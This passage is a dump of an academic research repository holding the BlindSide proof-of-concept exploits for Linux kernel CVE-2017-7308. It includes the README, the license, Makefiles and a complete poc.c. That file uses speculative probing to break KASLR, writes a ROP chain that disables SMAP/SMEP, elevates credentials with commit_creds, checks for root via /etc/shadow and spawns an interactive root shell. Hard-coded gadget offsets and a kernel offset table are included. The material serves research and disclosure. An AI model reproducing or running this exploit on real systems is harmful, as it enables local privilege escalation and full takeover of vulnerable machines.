├── .gitignore ├── LICENSE ├── README.md ├── exploits ├── .gitignore ├── 1_breaking_coarse_grained_kaslr │ ├── Makefile │ ├── code_bytes_table.h │ ├── config.h │ ├── kernel_offset_index_mapping.h │ └── poc.c ├── 2_speculative_data_only_attack │ ├── Makefile │ ├── code_bytes_table.h │ ├── config.h │ ├── kernel_offset_index_mapping.h │ └── poc.c ├── 3_breaking_software_based_xom │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── code_bytes_table.h │ ├── config.h │ ├── diff_code_bytes.sh │ ├── kernel_offset_index_mapping.h │ └── poc.c ├── Makefile └── common │ ├── cache_channel │ ├── Makefile │ ├── calib.h │ ├── llc_prime_probe.c │ └── llc_prime_probe.h │ ├── envprep │ ├── envprep.c │ └── envprep.h │ ├── matrix │ ├── Makefile │ ├── matrix.c │ └── matrix.h │ ├── memprep │ ├── memprep.c │ └── memprep.h │ ├── memwrite │ ├── memwrite.c │ └── memwrite.h │ ├── specex_leaks │ ├── specex_leaks.c │ └── specex_leaks.h │ └── specex_utils │ ├── specex_utils.c │ └── specex_utils.h ├── kmod ├── .gitignore ├── Makefile ├── kmod.c ├── kmod.h ├── kmod_driver.c ├── kmod_driver.h └── test.c ├── make_evsets_lib.sh └── tools ├── Makefile ├── README.md ├── extract-vmlinux.sh ├── filter_constant_code_bytes.py ├── generate_kernel_offset_index_mapping.c ├── get_byte_sequence_stats.py ├── lib ├── .gitignore ├── Makefile ├── __init__.py ├── bashcmd.py ├── beautify.py └── print_kernel_bytes.c ├── print_kernel_bytes.sh └── print_kernel_ins.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.so 2 | *.pyc 3 | evsets 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Disclaimer 2 | 3 | USE AT YOUR OWN RISK! AUTHORS OF THIS CODE ARE NOT RESPONSIBLE FOR ANY HARM DONE 4 | TO YOUR MACHINE, YOUR BELONGINGS OR YOURSELF. 5 | 6 | Note that code in this repository exploits kernel code. In case you try the code 7 | out on a remote machine, make sure you can reboot it remotely in case of a 8 | crash. 9 | 10 | # About 11 | 12 | This repository contains the exploits showcasing the BlindSide attack described 13 | in our [paper](https://download.vusec.net/papers/blindside_ccs20.pdf) 14 | published at CCS'20. We branched off the exploits from google project zero's 15 | [exploit](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html) 16 | of CVE-2017-7308. For the demo videos of the exploits, check out the 17 | [project page](https://www.vusec.net/projects/blindside/) of BlindSide. 18 | 19 | Our proof-of-concept exploits are configured to work with the linux kernel 20 | version 4.8.0-39-generic and are tested on a machine with Intel CPU E3-1270 v6 21 | and 16GB of RAM. 22 | Running it on a different kernel version (but vulnerable to CVE-2017-7308) will 23 | require few changes to the exploits like setting the function pointer offset, 24 | adjusting the gadget offsets or instructions, etc. Changes to the exploits are 25 | also necessary when running on a machine with different RAM size or when running 26 | on a CPU with a different cache size or a different cache-associativity. 27 | 28 | 29 | # Config 30 | 31 | Exploits can be configured to skip certain parts with macros in config.h files 32 | in the exploit directories. 33 | 34 | # Preparation 35 | 36 | Execute the following commands to enable huge page tables, to set cpu governor 37 | to performance and to locally install the evsets library: 38 | 39 | ``` 40 | $ echo 1024 | sudo tee /proc/sys/vm/nr_hugepages 41 | $ for gov in /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor; do sudo sh -c "echo performance > $gov"; done 42 | $ ./make_evsets_lib.sh 43 | ``` 44 | 45 | # Run exploits 46 | 47 | To run the exploits, change your directory to any of the folders under [exploits](exploits) 48 | and run the commands `make` and `./poc`. 49 | -------------------------------------------------------------------------------- /exploits/.gitignore: -------------------------------------------------------------------------------- 1 | */poc 2 | -------------------------------------------------------------------------------- /exploits/1_breaking_coarse_grained_kaslr/Makefile: -------------------------------------------------------------------------------- 1 | APP_DIR := $(patsubst %/,%,$(dir $(abspath $(lastword $(MAKEFILE_LIST))))) 2 | LLC_PP_DIR := $(APP_DIR)/../common/cache_channel/ 3 | MATRIX_LIB_DIR := $(APP_DIR)/../common/matrix/ 4 | ENVPREP_DIR := $(APP_DIR)/../common/envprep/ 5 | MEMPREP_DIR := $(APP_DIR)/../common/memprep/ 6 | MEMWRITE_DIR := $(APP_DIR)/../common/memwrite/ 7 | SPECEX_UTILS_DIR := $(APP_DIR)/../common/specex_utils/ 8 | SPECEX_LEAKS_DIR := $(APP_DIR)/../common/specex_leaks/ 9 | KMOD_DIR := $(APP_DIR)/../../kmod/ 10 | 11 | CFLAGS := -g -O2 -flto 12 | 13 | all: poc 14 | 15 | poc: poc.c $(MATRIX_LIB_DIR)/libmatrix.so $(LLC_PP_DIR)/libllc_prime_probe.so $(KMOD_DIR)/libkmod_driver.so $(MEMWRITE_DIR)/memwrite.c $(MEMPREP_DIR)/memprep.c $(ENVPREP_DIR)/envprep.c $(SPECEX_LEAKS_DIR)/specex_leaks.c $(SPECEX_UTILS_DIR)/specex_utils.c config.h 16 | gcc $(CFLAGS) poc.c -o poc -Wunused-function -Wunused-variable \ 17 | -I$(APP_DIR) \ 18 | -I$(ENVPREP_DIR) $(ENVPREP_DIR)/envprep.c \ 19 | -I$(MEMPREP_DIR) $(MEMPREP_DIR)/memprep.c \ 20 | -I$(MEMWRITE_DIR) $(MEMWRITE_DIR)/memwrite.c \ 21 | -I$(SPECEX_UTILS_DIR) $(SPECEX_UTILS_DIR)/specex_utils.c \ 22 | -I$(SPECEX_LEAKS_DIR) $(SPECEX_LEAKS_DIR)/specex_leaks.c \ 23 | -I$(LLC_PP_DIR) -L$(LLC_PP_DIR) -Wl,-rpath=$(LLC_PP_DIR) \ 24 | -I$(MATRIX_LIB_DIR) -L$(MATRIX_LIB_DIR) -Wl,-rpath=$(MATRIX_LIB_DIR) \ 25 | -I$(KMOD_DIR) -L$(KMOD_DIR) -Wl,-rpath=$(KMOD_DIR) \ 26 | -lmatrix -lllc_prime_probe -lkmod_driver -lpthread -lm 27 | 28 | $(MATRIX_LIB_DIR)/libmatrix.so: 29 | cd $(MATRIX_LIB_DIR) && make 30 | 31 | $(LLC_PP_DIR)/libllc_prime_probe.so: 32 | cd $(LLC_PP_DIR) && make 33 | 34 | $(KMOD_DIR)/libkmod_driver.so: 35 | cd $(KMOD_DIR) && make 36 | 37 | clean: 38 | rm -f poc 39 | -------------------------------------------------------------------------------- /exploits/1_breaking_coarse_grained_kaslr/config.h: -------------------------------------------------------------------------------- 1 | #ifndef _CONFIG_H_ 2 | #define _CONFIG_H_ 3 | 4 | 5 | // Control with the definitions below whether to skip 6 | // BlindSide/speculative execution in certain parts of the exploit. 7 | // Note: when skippings parts, make sure 'kmod' module is installed. 8 | #define SKIP_FINDING_KIMAGE 0 9 | #define SKIP_FINDING_HEAP 0 10 | #define SKIP_FINDING_OOB_WRITE_LOCATION 0 11 | 12 | 13 | // Define below the method to be used for eviction set 14 | // creation in the Prime+Probe library. 15 | 16 | // Use 'evsets' eviction set creation library of Pepe Vila et. al. 17 | #define PP_EVICSET_GEN_METHOD "evsets" 18 | 19 | // Eviction set creation through physical address 20 | // to cache set mappings (tested on Skylake and Kaby Lake) 21 | //#define PP_EVICSET_GEN_METHOD "kmod" 22 | 23 | 24 | // Machine specific definitions 25 | #define RAM_IN_GB 16 26 | #define LLC_SIZE_IN_MB 8 27 | #define LLC_ASSOCIATIVITY 16 28 | 29 | 30 | #define MAIN_THREAD_CPU_ID 0 31 | #define CO_THREAD_CPU_ID (MAIN_THREAD_CPU_ID + 4) 32 | 33 | 34 | #endif /* _CONFIG_H_ */ 35 | -------------------------------------------------------------------------------- /exploits/1_breaking_coarse_grained_kaslr/kernel_offset_index_mapping.h: -------------------------------------------------------------------------------- 1 | #ifndef _KERNEL_OFFSET_INDEX_MAPPING_H_ 2 | #define _KERNEL_OFFSET_INDEX_MAPPING_H_ 3 | 4 | #define NUM_KERNEL_OFFSET_MAPPINGS 64 5 | unsigned int kernel_offset_index_mapping[NUM_KERNEL_OFFSET_MAPPINGS] = 6 | { 7 | [ 0] = 0xa00018, 8 | [ 1] = 0xa02cf0, 9 | [ 2] = 0xa028a8, 10 | [ 3] = 0xa050f8, 11 | [ 4] = 0xa02c30, 12 | [ 5] = 0xa028a0, 13 | [ 6] = 0xa01358, 14 | [ 7] = 0xa05098, 15 | [ 8] = 0xa02990, 16 | [ 9] = 0xa01458, 17 | [10] = 0xa02978, 18 | [11] = 0xa05158, 19 | [12] = 0xa02bd0, 20 | [13] = 0xa014d0, 21 | [14] = 0xa02200, 22 | [15] = 0xa02ba0, 23 | [16] = 0xa051c8, 24 | [17] = 0xa051d8, 25 | [18] = 0xa04828, 26 | [19] = 0xa051f8, 27 | [20] = 0xa02bd8, 28 | [21] = 0x0, 29 | [22] = 0x0, 30 | [23] = 0xa0be80, 31 | [24] = 0xa02208, 32 | [25] = 0x0, 33 | [26] = 0xa02238, 34 | [27] = 0x0, 35 | [28] = 0xa0be18, 36 | [29] = 0x0, 37 | [30] = 0xa11378, 38 | [31] = 0xa05688, 39 | [32] = 0xa02e00, 40 | [33] = 0x0, 41 | [34] = 0x0, 42 | [35] = 0x0, 43 | [36] = 0xa11390, 44 | [37] = 0xa02bb8, 45 | [38] = 0x0, 46 | [39] = 0x0, 47 | [40] = 0x0, 48 | [41] = 0x0, 49 | [42] = 0xa02e10, 50 | [43] = 0x0, 51 | [44] = 0x0, 52 | [45] = 0x0, 53 | [46] = 0x0, 54 | [47] = 0x0, 55 | [48] = 0x0, 56 | [49] = 0x0, 57 | [50] = 0x0, 58 | [51] = 0x0, 59 | [52] = 0x0, 60 | [53] = 0x0, 61 | [54] = 0x0, 62 | [55] = 0x0, 63 | [56] = 0x0, 64 | [57] = 0x0, 65 | [58] = 0x0, 66 | [59] = 0x0, 67 | [60] = 0x0, 68 | [61] = 0x0, 69 | [62] = 0xa04120, 70 | [63] = 0x0, 71 | }; 72 | 73 | #endif 74 | -------------------------------------------------------------------------------- /exploits/1_breaking_coarse_grained_kaslr/poc.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include "envprep.h" 4 | #include "memprep.h" 5 | #include "memwrite.h" 6 | #include "specex_utils.h" 7 | #include "specex_leaks.h" 8 | #include "matrix.h" 9 | #include "llc_prime_probe.h" 10 | #include "config.h" 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | struct timespec total_exec_start; 23 | void start_timer_total_exec() { 24 | clock_gettime(CLOCK_MONOTONIC, &total_exec_start); 25 | } 26 | 27 | void stop_timer_total_exec() { 28 | struct timespec total_exec_finish; 29 | clock_gettime(CLOCK_MONOTONIC, &total_exec_finish); 30 | 31 | double total_exec_elapsed = (total_exec_finish.tv_sec - total_exec_start.tv_sec); 32 | total_exec_elapsed += (total_exec_finish.tv_nsec - total_exec_start.tv_nsec) / 1000000000.0; 33 | char mod[] = "\033[1;4;93m"; // bold;underline;high-intensity-yellow 34 | char nomod[] = "\033[00m"; 35 | printf("\n%s[#] Total execution time of PoC: %.3f sec%s\n", mod, total_exec_elapsed, nomod); 36 | } 37 | 38 | // CHECK IF ROOT and POP SHELL! 39 | void exec_shell() { 40 | char *shell = "/bin/bash"; 41 | char *args[] = {shell, "-i", NULL}; 42 | execve(shell, args, NULL); 43 | } 44 | 45 | void fork_shell() { 46 | pid_t rv; 47 | 48 | rv = fork(); 49 | if (rv == -1) { 50 | perror("[-] fork()"); 51 | exit(EXIT_FAILURE); 52 | } 53 | 54 | if (rv == 0) { 55 | exec_shell(); 56 | } 57 | } 58 | 59 | bool is_root() { 60 | // We can't simple check uid, since we're running inside a namespace 61 | // with uid set to 0. Try opening /etc/shadow instead. 62 | int fd = open("/etc/shadow", O_RDONLY); 63 | if (fd == -1) 64 | return false; 65 | close(fd); 66 | return true; 67 | } 68 | 69 | int check_root() { 70 | printf("[.] checking if we got root\n"); 71 | 72 | if (!is_root()) { 73 | printf("[-] something went wrong =(\n"); 74 | return 0; 75 | } 76 | 77 | printf("[+] got r00t ^_^\n"); 78 | 79 | return 1; 80 | } 81 | 82 | #define GADGET_STACK_PIVOT 0x2fcfa2ul 83 | #define GADGET_POP_RSP 0x2052ul 84 | #define GADGET_POP_RDX 0x465b56ul 85 | #define GADGET_MOV_RAX_CR4 0x1b224ul // move cr4 into rax (intel syntax) 86 | #define GADGET_AND_RAX_RDX 0x1a7d3dul // and rax with rdx and store result in rax (intel syntax) 87 | #define GADGET_SAVE_RAX 0x17b453ul 88 | #define GADGET_POP_RDI 0x244f5dul 89 | #define GADGET_MOV_CR4_RDI 0x1b3c0ul // move rdi into cr4 (intel syntax) 90 | #define OFFSET_COMMIT_CREDS 0xa5e30ul 91 | #define OFFSET_PREPARE_KERNEL_CRED 0xa61b0ul 92 | 93 | unsigned long core_rop_chain_base = 0x0; 94 | int priv_elevated = 0; 95 | 96 | int (*commit_creds)(void*) = NULL; 97 | void* (*prepare_kernel_cred)(void*) = NULL; 98 | 99 | __attribute__((used, noinline)) 100 | void elevate_priv() { 101 | commit_creds(prepare_kernel_cred(NULL)); 102 | priv_elevated = 1; 103 | } 104 | 105 | __attribute__((used, noinline)) 106 | void userspace_wrapper() { 107 | asm volatile ( 108 | " mov %%gs:0x16a04, %%rax\n" 109 | " sub $0x3e8, %%rax\n" 110 | " mov %%rax, %%rsp\n" 111 | " call elevate_priv\n" 112 | " ret\n" 113 | : /* no output */ 114 | : /* no input */ 115 | : "rax", "rsp"); 116 | } 117 | 118 | __attribute__((noinline)) 119 | void write_payload(unsigned long socket_addr, unsigned long kernel_image_addr) { 120 | char buffer[256]; 121 | int size; 122 | 123 | // Disable speculative exuection by restoring the flags in specex socket. 124 | // Flags: 125 | // - SOCK_ZAPPED 0x0100 <- originally the only one set 126 | // - SOCK_USE_WRITE_QUEUE 0x0200 <- unset (enables spec.exec. when set) 127 | // - SOCK_DBG 0x0400 <- unset 128 | set_arb_mem_writer_pos(0x800 + SKC_FLAGS_OFFSET - 40); // change offset in fptr_writer socket 129 | write_skc_flags(0x0100); 130 | 131 | printf("\n[.] restored conditional branch flag of speculative execution socket object to exploit it for 'real' control-flow hijacking\n"); 132 | fflush(stdout); 133 | usleep(50000); 134 | 135 | core_rop_chain_base = socket_addr + 0x600; // core rop chain base at 0xe00 in page (0x800 (socket obj offset) + 0x600); 136 | 137 | // stack pivoting 138 | // 1: write stack pivot address 139 | write_fptr(specex_socket_second, kernel_image_addr + GADGET_STACK_PIVOT, 8); // push rbx ; or byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret 140 | printf("\n[.] overwrote the function pointer with the stack pivoting gadget\n"); 141 | fflush(stdout); 142 | usleep(50000); 143 | 144 | // 2: make rsp point to core rop chain 145 | set_arb_mem_writer_pos(0x800); // make writer point to base of socket where few gadget data will be written 146 | memset(buffer, 0, sizeof(buffer)); 147 | size = 0; 148 | *(unsigned long*) (buffer + 0x8) = 0x0; // => popped into RBP #note that least significant 2 bytes are not written. see oob_write below. 149 | size += 8; 150 | *(unsigned long*) (buffer + 0x8) = kernel_image_addr + GADGET_POP_RSP; // pop rsp ; pop rbp ; ret 151 | size += 8; 152 | *(unsigned long*) (buffer + 0x10) = core_rop_chain_base; // => popped into RSP 153 | size += 8; 154 | print_status_blocks(arb_mem_writer->iov); 155 | oob_write(buffer+2, size-2); 156 | usleep(50000); 157 | 158 | // write core rop chain 159 | // 1: prepare chain 160 | set_arb_mem_writer_pos(0x800 + 0x600); // make writer point to rop chain location 161 | memset(buffer, 0, sizeof(buffer)); 162 | size = 0; 163 | // 1.1: finish GADGET_POP_RSP 164 | *(unsigned long*) (buffer + size) = 0x0; // => popped into RBP 165 | size += 8; 166 | // 1.2: load CR4 into RAX 167 | *(unsigned long*) (buffer + size) = kernel_image_addr + GADGET_MOV_RAX_CR4; // mov rax, cr4 ; pop rbp ; ret 168 | size += 8 + 8; 169 | // 1.3: unset SMAP/SMEP registers in RAX 170 | *(unsigned long*) (buffer + size) = kernel_image_addr + GADGET_POP_RDX; // pop rdx ; ret 171 | size += 8; 172 | *(unsigned long*) (buffer + size) = 0xffffffffffcfffff; // => popped into RDX #mask with SMAP and SMEP bits (21,20) unset 173 | size += 8; 174 | *(unsigned long*) (buffer + size) = kernel_image_addr + GADGET_AND_RAX_RDX; // and rax, rdx ; ret 175 | size += 8; 176 | // 1.4: move RAX to RDI 177 | *(unsigned long*) (buffer + size) = kernel_image_addr + GADGET_POP_RDX; // pop rdx ; ret 178 | size += 8; 179 | *(unsigned long*) (buffer + size) = core_rop_chain_base + size + 0x18; // => popped into RDX #pointing to the placeholder for updated CR4, see below 180 | size += 8; 181 | *(unsigned long*) (buffer + size) = kernel_image_addr + GADGET_SAVE_RAX; // mov qword ptr [rdx], rax ; ret 182 | size += 8; 183 | // 1.5: move RDI to CR4 184 | *(unsigned long*) (buffer + size) = kernel_image_addr + GADGET_POP_RDI; // pop rdi ; ret 185 | size += 8; 186 | *(unsigned long*) (buffer + size) = 0xdeadbeefdeadbeef; // => popped into RDI #placeholder for the updated CR4 value 187 | size += 8; 188 | *(unsigned long*) (buffer + size) = kernel_image_addr + GADGET_MOV_CR4_RDI; // mov cr4, rdi ; pop rbp ; ret 189 | size += 8 + 8; 190 | // 1.6: change control flow to user space 191 | *(unsigned long*) (buffer + size) = (unsigned long) &userspace_wrapper; 192 | size += 8; 193 | 194 | print_status_blocks(arb_mem_writer->iov); 195 | oob_write(buffer+2, size-2); 196 | 197 | printf("[.] crafted and wrote the ROP chain in page 0x%lx.\n", (unsigned long) (socket_addr - 0x800)); 198 | fflush(stdout); 199 | usleep(50000); 200 | } 201 | 202 | void execute_payload() { 203 | char buffer[16]; 204 | int size = sizeof(buffer); 205 | struct sockaddr_ll sa; 206 | memset(&sa, 0, sizeof(sa)); 207 | sa.sll_ifindex = if_nametoindex("lo"); 208 | sa.sll_halen = ETH_ALEN; 209 | 210 | printf("[.] triggering ROP chain..\n"); 211 | fflush(stdout); 212 | sleep(2); 213 | 214 | sendto(specex_socket_second, buffer, size, 0, (struct sockaddr *)&sa, sizeof(sa)); 215 | 216 | printf("[.] triggering ROP chain.. DONE\n"); 217 | } 218 | 219 | void init_matrices(); 220 | int main(int argc, char **argv) { 221 | srand(time(NULL)); 222 | 223 | printf("[#] This PoC exploit is a modified version of\n"); 224 | printf("[#] https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c\n"); 225 | printf("[#] So you might recognize overlapping lines.\n"); 226 | 227 | printf("\n[.] starting\n"); 228 | start_timer_total_exec(); 229 | 230 | setup_sandbox(); 231 | 232 | set_cpu(MAIN_THREAD_CPU_ID); 233 | 234 | init_matrices(); 235 | 236 | printf("\n[.] find LLC eviction sets..\n"); 237 | printf("[.] using eviction set generation method: %s\n", PP_EVICSET_GEN_METHOD); 238 | pp_create_eviction_sets(PP_EVICSET_GEN_METHOD, LLC_SIZE_IN_MB, LLC_ASSOCIATIVITY); 239 | printf("[.] find LLC eviction sets.. DONE\n"); 240 | 241 | prepare_memory_layout(); 242 | find_necessary_items(); 243 | free_unneeded_objects(); 244 | 245 | init_specex_leaks(); 246 | 247 | start_flag_eviction_in_co_thread(); 248 | 249 | unsigned long kernel_base_address = find_kernel_image(); 250 | commit_creds = (int (*)(void*)) (kernel_base_address + OFFSET_COMMIT_CREDS); 251 | prepare_kernel_cred = (void* (*)(void*)) (kernel_base_address + OFFSET_PREPARE_KERNEL_CRED); 252 | 253 | unsigned long heap_base_address = find_heap_base_2deref(kernel_base_address); 254 | 255 | unsigned long oob_write_addr = find_oob_write_location_3deref(kernel_base_address, heap_base_address); 256 | 257 | write_payload(oob_write_addr + 0x800, kernel_base_address); // write payload at the specex socket 258 | 259 | // Execute rop payload by triggering function function pointer execution 260 | execute_payload(); // trigger payload with the specex socket 261 | 262 | // fork+exec a shell if root 263 | int got_root = check_root(); 264 | stop_timer_total_exec(); 265 | 266 | if (got_root) { 267 | // Fork and exec instead of just doing the exec to avoid potential 268 | // memory corruptions when closing packet sockets. 269 | fork_shell(); 270 | } 271 | 272 | close_specex_leaks(); 273 | 274 | // stop flag evicting thread 275 | stop_co_thread(); 276 | 277 | pp_close(); 278 | 279 | // make poc process sleep infinitely 280 | fflush(stdout); 281 | fflush(stderr); 282 | while (1) sleep(1000); 283 | 284 | return 0; 285 | } 286 | -------------------------------------------------------------------------------- /exploits/2_speculative_data_only_attack/Makefile: -------------------------------------------------------------------------------- 1 | APP_DIR := $(patsubst %/,%,$(dir $(abspath $(lastword $(MAKEFILE_LIST))))) 2 | LLC_PP_DIR := $(APP_DIR)/../common/cache_channel/ 3 | MATRIX_LIB_DIR := $(APP_DIR)/../common/matrix/ 4 | ENVPREP_DIR := $(APP_DIR)/../common/envprep/ 5 | MEMPREP_DIR := $(APP_DIR)/../common/memprep/ 6 | MEMWRITE_DIR := $(APP_DIR)/../common/memwrite/ 7 | SPECEX_UTILS_DIR := $(APP_DIR)/../common/specex_utils/ 8 | SPECEX_LEAKS_DIR := $(APP_DIR)/../common/specex_leaks/ 9 | KMOD_DIR := $(APP_DIR)/../../kmod/ 10 | 11 | CFLAGS := -g -O2 -flto 12 | 13 | all: poc 14 | 15 | poc: poc.c $(MATRIX_LIB_DIR)/libmatrix.so $(LLC_PP_DIR)/libllc_prime_probe.so $(KMOD_DIR)/libkmod_driver.so $(MEMWRITE_DIR)/memwrite.c $(MEMPREP_DIR)/memprep.c $(ENVPREP_DIR)/envprep.c $(SPECEX_LEAKS_DIR)/specex_leaks.c $(SPECEX_UTILS_DIR)/specex_utils.c config.h 16 | gcc $(CFLAGS) poc.c -o poc -Wunused-function -Wunused-variable \ 17 | -I$(APP_DIR) \ 18 | -I$(ENVPREP_DIR) 